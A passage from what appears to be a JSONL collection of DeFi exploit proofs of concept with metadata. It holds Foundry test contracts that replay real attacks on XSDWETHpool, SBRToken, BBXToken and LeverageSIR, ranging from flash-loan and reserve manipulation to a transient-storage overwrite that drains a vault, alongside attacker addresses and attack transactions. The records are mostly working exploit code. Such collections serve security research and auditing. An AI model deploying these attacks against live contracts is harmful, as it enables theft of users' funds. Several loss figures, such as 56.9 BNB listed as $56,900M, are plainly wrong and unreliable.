IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IDPPAdvanced DPPAdvance = IDPPAdvanced(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n IXSD XSD = IXSD(0x39400E67820c88A9D67F4F9c1fbf86f3D688e9F6);\n IXSDRouter Router = IXSDRouter(0xfADDa925e10d07430f5d7461689fd90d3D81bB48);\n IXSDWETHpool XSDWETHpool = IXSDWETHpool(0xbfBcB8BDE20cc6886877DD551b337833F3e0d96d);\n IPIDController PIDController = IPIDController(0x82a6405B9C38Eb1d012c7B06642dcb3D7792981B);\n\n uint256 baseAmount = 3_000_000_000_000_000_000_000;\n uint256 moreAmount = 1_000_000_000_000_000_000_000;\n uint256 attackAmount = 3_800_000_000_000_000_000_000;\n uint256 swapAmount = 263_932_735_529_288_914_857_295;\n uint256 exploitAmount = 56_964_339_410_199_718_035;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 32_086_901 - 1);\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(DPPOracle), \"DPPOracle\");\n vm.label(address(DPPAdvance), \"DPPAdvance\");\n vm.label(address(XSD), \"XSD\");\n vm.label(address(Router), \"Router\");\n vm.label(address(XSDWETHpool), \"XSDWETHpool\");\n vm.label(address(PIDController), \"PIDController\");\n deal(address(XSD), address(this), 39_566_238_265_722_260_955_438);\n approveAll();\n }\n\n function testExploit() external {\n uint256 startBNB = WBNB.balanceOf(address(this));\n console.log(\"Before Start: %d BNB\", startBNB);\n\n DPPOracle.flashLoan(baseAmount, 0, address(this), abi.encode(baseAmount));\n\n uint256 intRes = WBNB.balanceOf(address(this)) / 1 ether;\n uint256 decRes = WBNB.balanceOf(address(this)) - intRes * 1e18;\n console.log(\"Attack Exploit: %s.%s BNB\", intRes, decRes);\n }\n\n function DPPFlashLoanCall(address sender, uint256 amount, uint256 quoteAmount, bytes calldata data) external {\n if (abi.decode(data, (uint256)) == baseAmount) {\n DPPAdvance.flashLoan(moreAmount, 0, address(this), abi.encode(moreAmount));\n WBNB.transfer(address(DPPOracle), baseAmount);\n } else {\n uint256 amountOut = 9_840_000_000_000_000_000;\n Router.swapXSDForETH(amountOut, XSD.balanceOf(address(this)));\n XSD.transfer(address(XSDWETHpool), swapAmount);\n XSDWETHpool.swap(0, attackAmount + exploitAmount, address(this));\n WBNB.transfer(address(DPPAdvance), moreAmount);\n }\n }\n\n fallback() external payable {\n WBNB.transfer(address(XSDWETHpool), attackAmount);\n XSDWETHpool.swap(swapAmount, 0, address(this));\n PIDController.systemCalculations();\n Router.swapETHForBankX{value: 1_000_000_000_000}(100);\n }\n\n function approveAll() internal {\n WBNB.approve(0x224E13D9eAB11eDc09411ef4bF800791a7EF6135, type(uint256).max);\n WBNB.approve(address(Router), type(uint256).max);\n XSD.approve(address(Router), type(uint256).max);\n }\n}\n", "type": "exploit_poc", "protocol": "XSDWETHpool", "date": "2023-09", "file_name": "XSDWETHpool_exp.sol", "attack_vector": "flash_loan", "content_hash": "ebbf1e5555f88dc6", "collected_at": "2026-01-07T10:59:16.532012", "_source": "postmortems", "chain": "bsc", "block_number": 32086901, "total_lost_raw": "~ 56.9 BNB", "total_lost_usd": 56900000000.0, "attacker_address": "https://bscscan.com/address/0x506eebd8d6061202a8e8fc600bb3d5d41f475ee1", "attack_contract": "https://bscscan.com/address/0x202e059a16d29a2f6ae0307ae3d574746b2b6305", "vulnerable_contract": "https://bscscan.com/address/0xfadda925e10d07430f5d7461689fd90d3d81bb48", "attack_tx": "https://bscscan.com/tx/0xbdf76f22c41fe212f07e24ca7266d436ef4517dc1395077fabf8125ebe304442", "postmortem_url": null, "twitter_url": "https://twitter.com/CertiKAlert/status/1706765042916450781", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~ 56.9 BNB", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~ 56.9 BNB", "keyinfo_attacker": "https://bscscan.com/address/0x506eebd8d6061202a8e8fc600bb3d5d41f475ee1", "keyinfo_attack_contract": "https://bscscan.com/address/0x202e059a16d29a2f6ae0307ae3d574746b2b6305", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xfadda925e10d07430f5d7461689fd90d3d81bb48", "keyinfo_attack_tx": "https://bscscan.com/tx/0xbdf76f22c41fe212f07e24ca7266d436ef4517dc1395077fabf8125ebe304442", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/CertiKAlert/status/1706765042916450781", "funds_lost_formatted": "$56900.00M", "content_richness_score": 7.55, "quality_estimate": "medium", "title": "XSDWETHpool Exploit (2023-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ 8.495 ETH\n// Attacker : https://etherscan.io/address/0x7a6488348a7626c10e35df9ae0a2ad916a56a952\n// Attack Contract : https://etherscan.io/address/0x9926796371e0107abe406128fa801fda0e436f44\n// Vulnerable Contract :\n// Attack Tx : https://etherscan.io/tx/0xe4c1aeacf8c93f8e39fe78420ce7a114ecf59dea90047cd2af390b30af54e7b9\n\n// @Analysis\n// Twitter Guy : https://x.com/TenArmorAlert/status/1897826817429442652\n\naddress constant SBR = 0x460B1AE257118Ed6F63Ed8489657588a326a206D;\naddress constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\naddress constant UniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\naddress constant UniswapV2Pair = 0x3431c535dDFB6dD5376E5Ded276f91DEaA864FF2;\n\ncontract SBRToken_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 21_991_722 - 1);\n vm.deal(attacker, 1 ether);\n\n vm.label(attacker, \"Exploiter\");\n vm.label(SBR, \"SBR Token\");\n vm.label(wETH, \"Wrapped Ether\");\n vm.label(UniswapV2Router, \"Uniswap V2: Router 2\");\n vm.label(UniswapV2Pair, \"Uniswap V2: Pair\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"ETH before attack\", attacker.balance, 18);\n\n vm.prank(attacker);\n AttackerC attC = new AttackerC{value: 0.000000000000004 ether}();\n attC.attack();\n vm.stopPrank();\n\n emit log_named_decimal_uint(\"ETH after attack\", attacker.balance, 18);\n }\n}\n\ncontract AttackerC {\n address attacker;\n\n constructor() payable {\n attacker = msg.sender;\n }\n\n function attack() public {\n address[] memory path = new address[](2);\n path[0] = wETH;\n path[1] = SBR;\n IRouter(UniswapV2Router).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.000000000000004 ether}(\n 0, path, address(this), block.timestamp + 100\n );\n\n Uni_Pair_V2(UniswapV2Pair).skim(UniswapV2Pair);\n\n IERC20(SBR).transfer(UniswapV2Pair, 1);\n\n Uni_Pair_V2(UniswapV2Pair).sync();\n\n IERC20(SBR).approve(UniswapV2Router, type(uint256).max);\n\n uint256 balance = IERC20(SBR).balanceOf(address(this));\n // console.log(balance); // 54804369677\n path[0] = SBR;\n path[1] = wETH;\n IRouter(UniswapV2Router).swapExactTokensForETHSupportingFeeOnTransferTokens(\n balance, 0, path, attacker, block.timestamp + 100\n );\n }\n}\n", "type": "exploit_poc", "protocol": "SBRToken", "date": "2025-03", "file_name": "SBRToken_exp.sol", "attack_vector": null, "content_hash": "dde1b1a8d650a23e", "collected_at": "2026-01-07T10:59:16.532069", "_source": "postmortems", "chain": "ethereum", "block_number": 21991722, "total_lost_raw": "~ 8.495 ETH", "total_lost_usd": 8.495, "attacker_address": "https://etherscan.io/address/0x7a6488348a7626c10e35df9ae0a2ad916a56a952", "attack_contract": "https://etherscan.io/address/0x9926796371e0107abe406128fa801fda0e436f44", "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0xe4c1aeacf8c93f8e39fe78420ce7a114ecf59dea90047cd2af390b30af54e7b9", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1897826817429442652", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~ 8.495 ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"ETH before attack\", attacker.balance, 18);\n\n vm.prank(attacker);\n AttackerC attC = new AttackerC{value: 0.000000000000004 ether}();\n attC.attack();\n vm.stopPrank();\n\n emit log_named_decimal_uint(\"ETH after attack\", attacker.balance, 18);\n }\n}\n\ncontract AttackerC {\n address attacker;\n\n constructor() payable {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ 8.495 ETH", "keyinfo_attacker": "https://etherscan.io/address/0x7a6488348a7626c10e35df9ae0a2ad916a56a952", "keyinfo_attack_contract": "https://etherscan.io/address/0x9926796371e0107abe406128fa801fda0e436f44", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0xe4c1aeacf8c93f8e39fe78420ce7a114ecf59dea90047cd2af390b30af54e7b9", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1897826817429442652", "funds_lost_formatted": "$8", "content_richness_score": 6.3, "quality_estimate": "medium", "title": "SBRToken Exploit (2025-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 11902 BUSD\n// Attacker : https://bscscan.com/address/0x8aea7516b3b6aabf474f8872c5e71c1a7907e69e\n// Attack Contract : https://bscscan.com/address/0x0489E8433e4E74fB1ba938dF712c954DDEA93898\n// Vulnerable Contract : https://bscscan.com/address/0x6051428b580f561b627247119eed4d0483b8d28e\n// Attack Tx : https://bscscan.com/tx/0x0dd486368444598610239b934dd9e8c6474a06d11380d1cfec4d91568b5ac581\n// Attack Tx (Create Contract): https://bscscan.com/tx/0xf7019e1232704c3ede4ecf00b79ccf647b2cb3718b9f6972e70dc7c5170e3f91\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x6051428b580f561b627247119eed4d0483b8d28e#code\n\n// @Analysis\n// Post-mortem : https://blog.solidityscan.com/bbx-token-hack-analysis-f2e962c00ee5\n// Twitter Guy : https://x.com/TenArmorAlert/status/1916312483792408688\n\naddress constant BBX = 0x67Ca347e7B9387af4E81c36cCA4eAF080dcB33E9;\naddress constant BUSD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\n\naddress constant PancakeSwapV2_BUSD_BBX= 0x6051428B580f561B627247119EEd4D0483B8D28e;\naddress constant PancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n\ncontract BBXToken_exp is Test {\n\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n // 47626727 -> Attack block\n // 47626457 -> Create contract block\n\n vm.createSelectFork(\"bsc\", 47626457 - 1); // Create contract block\n\n vm.label(attacker, \"BBX Exploiter\");\n vm.label(BBX, \"BBX\");\n vm.label(BUSD, \"BUSD-T Stablecoin\");\n vm.label(wBNB, \"WBNB\");\n vm.label(PancakeSwapV2_BUSD_BBX, \"PancakeSwap V2: BSC-USD-BBX LP\");\n vm.label(PancakeSwapRouterV2, \"PancakeSwap: Router v2\");\n\n vm.deal(attacker, 1 ether);\n }\n\n function testExploit() public {\n\n // Deploy the attack contract\n vm.prank(attacker);\n AttackerC attC = new AttackerC{value: 0.05 ether}();\n\n vm.roll(47626727 - 1); // Attack tx block\n vm.warp(block.timestamp + 15 * 60); // Warp time\n vm.startPrank(attacker);\n\n attC.attack();\n emit log_named_decimal_uint(\"Profit in BUSD\", IERC20(BUSD).balanceOf(attacker), 18);\n\n vm.stopPrank();\n }\n}\n\ncontract AttackerC {\n\n constructor() payable {\n // console.log(IPancakeRouter(payable(PancakeSwapRouterV2)).WETH()); // WBNB\n\n // Prepare BBX token\n uint256 balance = address(this).balance;\n address[] memory path = new address[](3);\n path[0] = wBNB;\n path[1] = BUSD;\n path[2] = BBX;\n IPancakeRouter(payable(PancakeSwapRouterV2)).swapExactETHForTokensSupportingFeeOnTransferTokens{value: balance}(\n balance,\n path,\n address(this),\n block.timestamp + 10\n );\n\n // console.log(\"Balance of BBX: \", IERC20(BBX).balanceOf(address(this)));\n }\n\n function attack() public {\n\n // console.log(IBBXToken(BBX).lastBurnTime()); // 1742375453\n // console.log(IBBXToken(BBX).lastBurnGapTime()); // 86400\n // console.log(IBBXToken(BBX).liquidityPool()); // 0x6051428b580f561b627247119eed4d0483b8d28e\n // console.log(IBBXToken(BBX).burnRate()); // 300\n\n for (uint256 i = 0; i < 500; i++) {\n IERC20(BBX).transfer(address(this), 0);\n\n }\n // console.log(IERC20(BUSD).balanceOf(PancakeSwapV2_BUSD_BBX));\n // console.log(IERC20(BBX).balanceOf(PancakeSwapV2_BUSD_BBX));\n\n IERC20(BBX).approve(PancakeSwapRouterV2, type(uint256).max);\n\n uint256 balanceOfBBX = IERC20(BBX).balanceOf(address(this));\n // console.log(\"Balance of BBX: \", balanceOfBBX); // 18480773819186942481\n\n address[] memory path = new address[](2);\n path[0] = BBX;\n path[1] = BUSD;\n IPancakeRouter(payable(PancakeSwapRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n balanceOfBBX,\n 0,\n path,\n msg.sender,\n block.timestamp + 10\n );\n }\n\n receive() external payable {\n // Receive BNB for the attack\n }\n}\n\n\ninterface IBBXToken {\n function lastBurnTime() external view returns (uint256);\n function lastBurnGapTime() external view returns (uint256);\n function liquidityPool() external view returns (address);\n function burnRate() external view returns (uint256);\n}", "type": "exploit_poc", "protocol": "BBXToken", "date": "2025-03", "file_name": "BBXToken_exp.sol", "attack_vector": null, "content_hash": "43b4dac569560de6", "collected_at": "2026-01-07T10:59:16.532124", "_source": "postmortems", "chain": "bsc", "block_number": 47626457, "total_lost_raw": "11902 BUSD", "total_lost_usd": 11902000000000.0, "attacker_address": "https://bscscan.com/address/0x8aea7516b3b6aabf474f8872c5e71c1a7907e69e", "attack_contract": "https://bscscan.com/address/0x0489E8433e4E74fB1ba938dF712c954DDEA93898", "vulnerable_contract": "https://bscscan.com/address/0x6051428b580f561b627247119eed4d0483b8d28e", "attack_tx": "https://bscscan.com/tx/0x0dd486368444598610239b934dd9e8c6474a06d11380d1cfec4d91568b5ac581", "postmortem_url": "https://blog.solidityscan.com/bbx-token-hack-analysis-f2e962c00ee5", "twitter_url": "https://x.com/TenArmorAlert/status/1916312483792408688", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "11902 BUSD", "category": "unknown", "exploit_code": "function testExploit() public {\n\n // Deploy the attack contract\n vm.prank(attacker);\n AttackerC attC = new AttackerC{value: 0.05 ether}();\n\n vm.roll(47626727 - 1); // Attack tx block\n vm.warp(block.timestamp + 15 * 60); // Warp time\n vm.startPrank(attacker);\n\n attC.attack();\n emit log_named_decimal_uint(\"Profit in BUSD\", IERC20(BUSD).balanceOf(attacker), 18);\n\n vm.stopPrank();\n }\n}\n\ncontract AttackerC {\n\n constructor() payable {\n // console.log(IPancakeRouter(payable(PancakeSwapRouterV2)).WETH()); // WBNB\n\n // Prepare BBX token\n uint256 balance = address(this).balance;\n address[] memory path = new address[](3);\n path[0] = wBNB;\n path[1] = BUSD;\n path[2] = BBX;\n IPancakeRouter(payable(PancakeSwapRouterV2)).swapExactETHForTokensSupportingFeeOnTransferTokens{value: balance}(\n balance,\n path,\n address(this),\n block.timestamp + 10\n );\n\n // console.log(\"Balance of BBX: \", IERC20(BBX).balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "11902 BUSD", "keyinfo_attacker": "https://bscscan.com/address/0x8aea7516b3b6aabf474f8872c5e71c1a7907e69e", "keyinfo_attack_contract": "https://bscscan.com/address/0x0489E8433e4E74fB1ba938dF712c954DDEA93898", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x6051428b580f561b627247119eed4d0483b8d28e", "keyinfo_attack_tx": "https://bscscan.com/tx/0x0dd486368444598610239b934dd9e8c6474a06d11380d1cfec4d91568b5ac581", "analysis_postmortem": "https://blog.solidityscan.com/bbx-token-hack-analysis-f2e962c00ee5", "analysis_twitter": "https://x.com/TenArmorAlert/status/1916312483792408688", "funds_lost_formatted": "$11902000.00M", "content_richness_score": 8.26, "quality_estimate": "high", "title": "BBXToken Exploit (2025-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ 353.8 K (17814,86 USDC, 1,4085 WBTC, 119,87 WETH)\n// Original Attacker : https://etherscan.io/address/0x27defcfa6498f957918f407ed8a58eba2884768c\n// Attack Contract(Main) : https://etherscan.io/address/0xea55fffae1937e47eba2d854ab7bd29a9cc29170\n// Attack Contract(Dumb Token) : https://etherscan.io/address/0x341c853c09b3691b434781078572f9d3ab9e3cbb\n// Attack Contract(Create2 Deployed) : https://etherscan.io/address/0x00000000001271551295307acc16ba1e7e0d4281\n// Vulnerable Contract : https://etherscan.io/address/0xb91ae2c8365fd45030aba84a4666c4db074e53e7\n// Attack Tx : https://etherscan.io/tx/0xa05f047ddfdad9126624c4496b5d4a59f961ee7c091e7b4e38cee86f1335736f\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant vault = 0xB91AE2c8365FD45030abA84a4666C4dB074E53E7;\n\naddress constant uniV3PositionsNFT = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;\naddress constant uniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;\naddress constant immutableCreate2Factory = 0x0000000000FFe8B47B3e2130213B802212439497;\n\naddress constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\naddress constant wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;\naddress constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\ncontract LeverageSIR_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 22_157_900 - 1);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n AttackerC_A attC_A = new AttackerC_A();\n AttackerC_B attC_B = new AttackerC_B();\n while (address(attC_A) < address(attC_B)) {\n attC_B = new AttackerC_B();\n }\n \n attC_A.attack(attC_B);\n\n console2.log(\"Profit:\", IFS(usdc).balanceOf(attacker), 'USDC');\n console2.log(\"Profit:\", IFS(wbtc).balanceOf(attacker), 'WBTC');\n console2.log(\"Profit:\", IFS(weth).balanceOf(attacker), 'WETH');\n }\n}\n\ncontract AttackerC_A is Test {\n function attack(AttackerC_B attC_B) external {\n IPoolInitializer(uniV3PositionsNFT).createAndInitializePoolIfNecessary(\n address(attC_B),\n address(this), \n 100, \n 79228162514264337593543950336\n );\n\n uint256 amount1 = 108823205127466839754387550950703;\n INonfungiblePositionManager(uniV3PositionsNFT).mint(INonfungiblePositionManager.MintParams(\n address(attC_B),\n address(this), \n 100,\n -190000,\n 190000,\n amount1,\n amount1,\n 0,\n 0,\n address(this), \n block.timestamp\n ));\n \n Uni_Router_V3(uniV3Router).exactInputSingle(Uni_Router_V3.ExactInputSingleParams(\n address(this), \n address(attC_B),\n 100,\n address(this), \n block.timestamp,\n 114814730000000000000000000000000000,\n 0,\n 0\n ));\n \n IFS(vault).initialize(IFS.VaultParameters(\n address(attC_B),\n address(this),\n 0\n ));\n\n // Manipulate SLOT 1 (`tstore(1, amount)`)\n IFS(vault).mint(\n true,\n IFS.VaultParameters(\n address(attC_B),\n address(this),\n 0\n ),\n 139650998347915452795864661928406629,\n 1\n );\n\n // Create a contract with the same address of SLOT 1(95759995883742311247042417521410689 === 0x00000000001271551295307acc16ba1e7e0d4281)\n address deploymentAddress = IFS(immutableCreate2Factory).safeCreate2(\n 0x0000000000000000000000000000000000000000d739dcf6ae98b123e5650020,\n hex'608060405234801561001057600080fd5b50600080546001600160a01b031916321790556102f2806100326000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c806311b92ab914610046578063d6d2b6ba1461005b578063e086e5ec1461006e575b600080fd5b61005961005436600461020d565b610076565b005b61005961006936600461020d565b6100ff565b61005961016d565b6000546001600160a01b0316321461008d57600080fd5b6000836001600160a01b031683836040516100a9929190610276565b6000604051808303816000865af19150503d80600081146100e6576040519150601f19603f3d011682016040523d82523d6000602084013e6100eb565b606091505b50509050806100f957600080fd5b50505050565b6000546001600160a01b0316321461011657600080fd5b6000836001600160a01b03168383604051610132929190610276565b600060405180830381855af49150503d80600081146100e6576040519150601f19603f3d011682016040523d82523d6000602084013e6100eb565b6000546001600160a01b0316321461018457600080fd5b60405132904780156108fc02916000818181858888f193505050501580156101b0573d6000803e3d6000fd5b50565b80356101be816102a8565b92915050565b60008083601f8401126101d657600080fd5b50813567ffffffffffffffff8111156101ee57600080fd5b60208301915083600182028301111561020657600080fd5b9250929050565b60008060006040848603121561022257600080fd5b600061022e86866101b3565b935050602084013567ffffffffffffffff81111561024b57600080fd5b610257868287016101c4565b92509250509250925092565b600061027083858461029c565b50500190565b6000610283828486610263565b949350505050565b60006001600160a01b0382166101be565b82818337506000910152565b6102b18161028b565b81146101b057600080fdfea26469706673582212206248366d18b20b1f2aadb961f5564f10ba9323e8fa7413f070e5cbc150a2d0b064736f6c63430008040033'\n );\n\n // At this point the deploymentAddress contract have the control to call the uniswapV3SwapCallback function\n \n // Take all USDC from Vault contract to deploymentAddress contract\n deploymentAddress.call(hex'11b92ab9000000000000000000000000b91ae2c8365fd45030aba84a4666c4db074e53e700000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000224fa461e3300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000425d93b54000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a000000000000000000000000959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48000000000000000000000000959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000');\n\n // Transfer all USDC from deploymentAddress contract to attacker\n // And again manipulate SLOT 1 (`tstore(1, amount)`) so that it is this(AttackerC_A) contract\n deploymentAddress.call(hex'11b92ab9000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4800000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000044a9059cbb0000000000000000000000009dF0C6b0066D5317aA5b38B36850548DaCCa6B4e0000000000000000000000000000000000000000000000000000000425d93b5400000000000000000000000000000000000000000000000000000000');\n\n // Now take all the WBTC\n uint256 wbtcBal = IERC20(wbtc).balanceOf(vault);\n bytes memory data3;\n data3 = bytes.concat(data3, bytes32(uint256(uint160(address(this)))));\n data3 = bytes.concat(data3, bytes32(uint256(uint160(address(this)))));\n data3 = bytes.concat(data3, bytes32(uint256(uint160(wbtc))));\n data3 = bytes.concat(data3, bytes32(uint256(uint160(address(this)))));\n data3 = bytes.concat(data3, bytes32(0));\n data3 = bytes.concat(data3, bytes32(0));\n data3 = bytes.concat(data3, bytes32(0));\n data3 = bytes.concat(data3, bytes32(0));\n data3 = bytes.concat(data3, bytes32(0));\n data3 = bytes.concat(data3, bytes32(0));\n data3 = bytes.concat(data3, bytes32(0));\n data3 = bytes.concat(data3, bytes32(0));\n data3 = bytes.concat(data3, bytes32(uint256(1)));\n\n IFS(vault).uniswapV3SwapCallback(\n 0,\n int256(wbtcBal),\n data3\n );\n\n IERC20(wbtc).transfer(msg.sender, wbtcBal);\n\n // And finally take all the WETH\n uint256 wethBal = IERC20(weth).balanceOf(vault);\n bytes memory data4;\n data4 = bytes.concat(data4, bytes32(uint256(uint160(address(this)))));\n data4 = bytes.concat(data4, bytes32(uint256(uint160(address(this)))));\n data4 = bytes.concat(data4, bytes32(uint256(uint160(weth))));\n data4 = bytes.concat(data4, bytes32(uint256(uint160(address(this)))));\n data4 = bytes.concat(data4, bytes32(0));\n data4 = bytes.concat(data4, bytes32(0));\n data4 = bytes.concat(data4, bytes32(0));\n data4 = bytes.concat(data4, bytes32(0));\n data4 = bytes.concat(data4, bytes32(0));\n data4 = bytes.concat(data4, bytes32(0));\n data4 = bytes.concat(data4, bytes32(0));\n data4 = bytes.concat(data4, bytes32(0));\n data4 = bytes.concat(data4, bytes32(uint256(1)));\n\n IFS(vault).uniswapV3SwapCallback(\n 0,\n int256(wethBal),\n data4\n );\n\n IERC20(weth).transfer(msg.sender, wethBal);\n }\n\n // ERC20\n\n mapping(address => uint256) public balanceOf;\n\n function symbol() external view returns (string memory){\n return \"\";\n }\n\n function decimals() external view returns (uint8) {\n return 18;\n }\n\n function transfer(address to, uint256 value) external returns (bool) {\n balanceOf[to] += value;\n return true;\n }\n\n function transferFrom(address from, address to, uint256 value) external returns (bool) {\n balanceOf[to] += value;\n return true;\n }\n\n struct Reserves {\n uint144 reserveApes;\n uint144 reserveLPers;\n int64 tickPriceX42;\n }\n struct Fees {\n uint144 collateralInOrWithdrawn;\n uint144 collateralFeeToStakers;\n uint144 collateralFeeToLPers;\n }\n\n function mint(\n address to,\n uint16 baseFee,\n uint8 tax,\n Reserves memory reserves,\n uint144 collateralDeposited\n ) external returns (Reserves memory newReserves, Fees memory fees, uint256 amount) {\n newReserves = Reserves(10000000000, 0, 0);\n fees = Fees(0, 0, 0);\n amount = uint160(address(this));\n }\n}\n\ncontract AttackerC_B {\n mapping(address => uint256) public balanceOf;\n\n function symbol() external view returns (string memory){\n return \"\";\n }\n\n function transfer(address to, uint256 value) external returns (bool) {\n balanceOf[to] += value;\n return true;\n }\n\n function transferFrom(address from, address to, uint256 value) external returns (bool) {\n balanceOf[to] += value;\n return true;\n }\n}\n\ninterface IFS is IERC20 {\n // Vault\n struct VaultParameters {\n address debtToken;\n address collateralToken;\n int8 leverageTier;\n }\n\n function initialize(VaultParameters memory vaultParams) external;\n function mint(\n bool isAPE,\n VaultParameters memory vaultParams,\n uint256 amountToDeposit,\n uint144 collateralToDepositMin\n ) external payable returns (uint256 amount);\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;\n\n // ImmutableCreate2Factory\n function safeCreate2(\n bytes32 salt,\n bytes calldata initializationCode\n ) external payable returns (address deploymentAddress);\n}\n\n", "type": "exploit_poc", "protocol": "LeverageSIR", "date": "2025-03", "file_name": "LeverageSIR_exp.sol", "attack_vector": null, "content_hash": "b6a86d04c18800cd", "collected_at": "2026-01-07T10:59:16.532202", "_source": "postmortems", "chain": "ethereum", "block_number": 22157900, "total_lost_raw": "~ 353.8 K (17814,86 USDC, 1,4085 WBTC, 119,87 WETH)", "total_lost_usd": 353800.0, "attacker_address": "https://etherscan.io/address/0x27defcfa6498f957918f407ed8a58eba2884768c", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0xb91ae2c8365fd45030aba84a4666c4db074e53e7", "attack_tx": "https://etherscan.io/tx/0xa05f047ddfdad9126624c4496b5d4a59f961ee7c091e7b4e38cee86f1335736f", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "high", "severity_raw": "~ 353.8 K (17814,86 USDC, 1,4085 WBTC, 119,87 WETH)", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n AttackerC_A attC_A = new AttackerC_A();\n AttackerC_B attC_B = new AttackerC_B();\n while (address(attC_A) < address(attC_B)) {\n attC_B = new AttackerC_B();\n }\n \n attC_A.attack(attC_B);\n\n console2.log(\"Profit:\", IFS(usdc).balanceOf(attacker), 'USDC');\n console2.log(\"Profit:\", IFS(wbtc).balanceOf(attacker), 'WBTC');\n console2.log(\"Profit:\", IFS(weth).balanceOf(attacker), 'WETH');\n }\n}\n\ncontract AttackerC_A is Test {", "has_exploit_code": true, "keyinfo_total_lost": "~ 353.8 K (17814,86 USDC, 1,4085 WBTC, 119,87 WETH)", "keyinfo_attacker": "https://etherscan.io/address/0x27defcfa6498f957918f407ed8a58eba2884768c", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xb91ae2c8365fd45030aba84a4666c4db074e53e7", "keyinfo_attack_tx": "https://etherscan.io/tx/0xa05f047ddfdad9126624c4496b5d4a59f961ee7c091e7b4e38cee86f1335736f", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$353.8K", "content_richness_score": 9, "quality_estimate": "high", "title": "LeverageSIR Exploit (2025-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: 